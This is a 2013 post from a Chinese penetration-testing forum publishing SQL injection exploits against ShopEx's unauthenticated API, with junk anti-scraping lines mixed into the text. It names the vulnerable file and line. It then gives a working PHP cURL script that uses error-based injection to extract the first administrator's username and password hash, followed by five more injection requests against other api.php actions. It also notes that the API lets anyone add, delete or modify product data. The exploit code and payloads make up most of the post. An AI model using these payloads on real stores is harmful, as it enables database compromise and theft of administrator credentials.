中国网络渗透测试联盟
标题:
shopEx最新版的API注入漏洞分析附利用exp
[打印本页]
作者:
admin
时间:
2013-7-27 18:34
标题:
shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
- k0 |. x3 _ L: ]! s" ~ |
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
# A8 T" s1 {3 N) W% q
9 Y6 [6 d, C W8 f0 g2 l
第44行 $data['columns'] 未做过滤导致注入
7 K/ P6 ?9 l1 e2 Y8 v! }" {" }: _* [
% b5 a9 O/ y6 H) D& Q
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
) M4 s/ j* B! K) K) i
/ g" i) s B6 t
注射1:
: }" f+ d+ a9 c/ N
* c; O; m P" c! F0 n0 I; ]( n
http://www.0day5.com/api.php
POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
" d0 O3 B9 |5 b8 ?) n7 V# M
T. T/ `7 q, z4 F* |1 D: D
注射2:
2 Z1 o- P& t5 N/ f8 g/ d7 K
http://www.0day5.com/shopex/api.php
act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
, I' [4 d' o4 Y, i( ~8 s
: U3 z: H [: m8 Y& i
注射3:
+ r( g5 |' X5 N; h7 z- d; w' v
http://www.0day5.com/shopex/api.php
act=get_spec_single&api_version=3.1&spec_id=1 xxx
+ h+ J/ _- X# c
注射4:
# u; i0 A; U; I, I6 Q* j6 @
3 ^+ p& x- m0 ?# u" y5 [) a# R. X
http://www.0day5.com/shopex/api.php
act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
' F: o* ?8 Z& D, i7 a
3 @8 g/ k4 e3 N# E4 `( }* n
6 P9 a: B0 h8 B8 a( F9 ~5 D
注射5:
3 Z+ {2 k2 ]% l9 u6 Q7 B8 r
http://www.0day5.com/shopex/api.php
act=search_dly_h_area&return_data=string&columns=xxxxx
2 ~1 [1 f# |6 x! h* |$ n; |8 I
1 @- m z/ a( k2 L* m) r
1 i& w9 l. }) b2 [
0 A4 J8 R4 P7 }
' q6 y3 ~ Z) h% n" ?% r; b* L4 n2 u
# F# P( W9 @% }+ X! `7 s% v
( y7 A1 g, u; Q% A6 F# [+ N
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2